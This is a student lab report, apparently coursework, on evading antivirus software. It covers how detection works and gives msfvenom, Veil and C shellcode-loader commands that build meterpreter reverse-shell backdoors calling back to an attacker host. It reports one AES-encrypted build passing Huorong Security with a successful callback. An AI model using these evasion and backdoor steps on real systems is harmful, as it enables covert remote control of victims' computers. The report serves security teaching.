20202409 2022-2023-2 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1实践目标

实践的主要目标是掌握免杀原理与技术,具体内容如下:

  • 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧:
    正确使用msf编码器,使用msfvenom生成如jar之类的其他文件;
    使用veil加壳工具加壳;
    使用C + shellcode编程。
  • 通过组合应用各种技术实现恶意代码免杀。
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

1.2实践要求(回答问题)

  • 杀软是如何检测出恶意代码的?
    老师介绍了三种主要的方式:
    (i)基于特征码的检测。对文件中的一部分特征进行检测,从而识别是否为恶意软件;
    (ii)启发式恶意软件检测。根据片面的特征去判定为恶意软件;
    (iii)基于行为的恶意软件检测。根据典型的,可能具有威胁性的行为与操作去识别是否为恶意软件。
  • 免杀是做什么?
    一般是对恶意软件做处理,让它不被杀毒软件所检测。
  • 免杀的基本方法有哪些?
    总体技术有两大种,每一种里又有多种不同的方法:
    (i)改变特征码
    对exe文件加壳,压缩壳或加密壳;
    对shellcode进行多次编码或更换payload重新编译;
    用其他编程语言重写攻击代码,再编译生成可执行文件。
    (ii)改变行为
    改变通讯方式,如尽量使用反弹技术,使用隧道技术,和加密通讯数据;
    改变操作模式,如尽量基于内存操作(meterpreter就是基于内存的一个渗透组件),减少对系统内核的修改,和加入起到混淆作用的具有正常功能的代码。

1.3实践环境

测试机:win11+Huorong Security
攻击机:kali-11.x

2.实验过程

2.1使用msf编码器,使用msfvenom生成如jar之类的其他文件

msf编码器可以将原可执行程序重新编码,生成一个新的二进制文件,这个文件运行以后,msf编码器会将原始程序解码到内存中并执行在kali终端。

输入指令msfvenom --list encoder查看所有的编码器:
在这里插入图片描述
选一个rank高一点的encoder进行编码:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.197.130 LPORT=2409 -f exe > 20202409backdoor.exe

在这里插入图片描述将该后门程序拖入https://www.virustotal.com进行测试,结果如下:
在这里插入图片描述
48/68表示在68款杀毒软件中,有48款判定该程序属于恶意软件,可见,该程序的免杀效果并不好。
尝试多次编码,在msfvenom的option菜单中,我们可以知道其指令为-i [-次数],这里我浅浅编20次:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -20 LHOST=192.168.197.130 LPORT=2409 -f exe > 20202409backdoor.exe

在这里插入图片描述
然而,发现查杀概率不减反增,增加编码次数为50,查杀概率再次变大,判断此种方法可行性不大:
在这里插入图片描述

尝试使用msfvenom生成如jar之类的其他文件:

msfvenom -p java/shell_reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.197.130 LPORT=2409 -f jar > 20202409backdoor.jar

在这里插入图片描述

在这里插入图片描述如图所示,这种做法使得免杀概率较之前有所提高。

2.2使用veil加壳工具加壳

参考https://blog.csdn.net/l1028386804/article/details/84895163安装veil。安装过程确实颇为曲折,安装了大概四五次,最后成功的步骤见问题及解决方案,安装成功的界面如下:
在这里插入图片描述

之后,输入指令:

use evasion					
use c/meterpreter/rev_tcp.py 
set LHOST 192.168.43.27		
set LPORT 2209					
generate

自定义base name,默认为“payload”,生成payload.exe文件,按照生成路径查找该文件:
在这里插入图片描述拖入VirusTotal中检测,结果如下:
在这里插入图片描述发现,免杀概率较之前的某些做法有所提高,但并不尽如人意。

2.3使用C + shellcode编程

先生成一段shellcode,可以参考下面的指令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.130 LPORT=2409 -f c  

在这里插入图片描述将生成的shellcode粘贴进如下的代码框架,生成一个c文件:

unsigned char buf[] = "[shellcode]";
int main() {
	int (*func)() = (int(*)())buf;
 	func(); 
 }

在这里插入图片描述编译执行这个c程序可以得到exe文件,指令如下:

i686-w64-mingw32-g++ shellcode_c.c -o [你自己含shellcode的c文件名字].exe

拖入VirusTotal,检测结果如下:
在这里插入图片描述

较之前的查杀概率有了明显的下降。

2.4通过组合应用各种技术实现恶意代码免杀

在使用了反弹式shell与meterpreter基于内存操作的基础上,再考虑用veil加壳工具对payload加一层加密壳,执行以下命令:

use evasion
use use python/shellcode_inject/aes_encrypt.py
generate
2
windows/meterpreter/reverse_tcp
[kali主机IP]
[监听端口号]
//回车

生成文件如图:
在这里插入图片描述

检测结果如下:
在这里插入图片描述

如图,成功实现免杀。

2.5用另一电脑实测,在杀软开启的情况下,可运行并回连成功

同实验二步骤,进入msfconsole并设置payload、LHOST和LPORT,点击运行后门程序,获得shell回弹,试验机及杀软型号在前面的实践环境中已提过,这是与杀软共生的结果:
在这里插入图片描述

3.问题及解决方案

veil安装过程中报错,主要有:资源无法找到(unreachable),执行安装脚本后各种组件无法安装等。
在这里插入图片描述
在这里插入图片描述最后成功的步骤:

apt-get update --fix-missing
veil
//会提示command not found,询问你是否需要安装,输入y,安装veil
veil
//此时,不会报错command not found,开始安装各种组件,一路next(默认)

总的来说可能是apt-get update --fix-missing这句命令起效果了,资源unreachable感觉还是看运气,实在不行可以考虑换源,我这个没有换,用的是官方源。

4.学习感悟、思考等

本次实验在了解了杀毒软件的工作原理后,尝试实现恶意代码免杀,通过这次实验,我认识到可以通过更复杂的代码生成方式,改变文件的特征码,使得杀毒软件无法查杀,如最后成功实现免杀的payload,用aes对文件进行了加密,然后边运行边解密,我们可以看到,至少在植入这一步,杀毒软件是无法将其检测出来的。

参考资料

  1. https://blog.csdn.net/cyuyan3hao/article/details/124051641
  2. https://blog.csdn.net/qq_53030229/article/details/120414259
  3. https://blog.csdn.net/Goodric/article/details/123806240
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值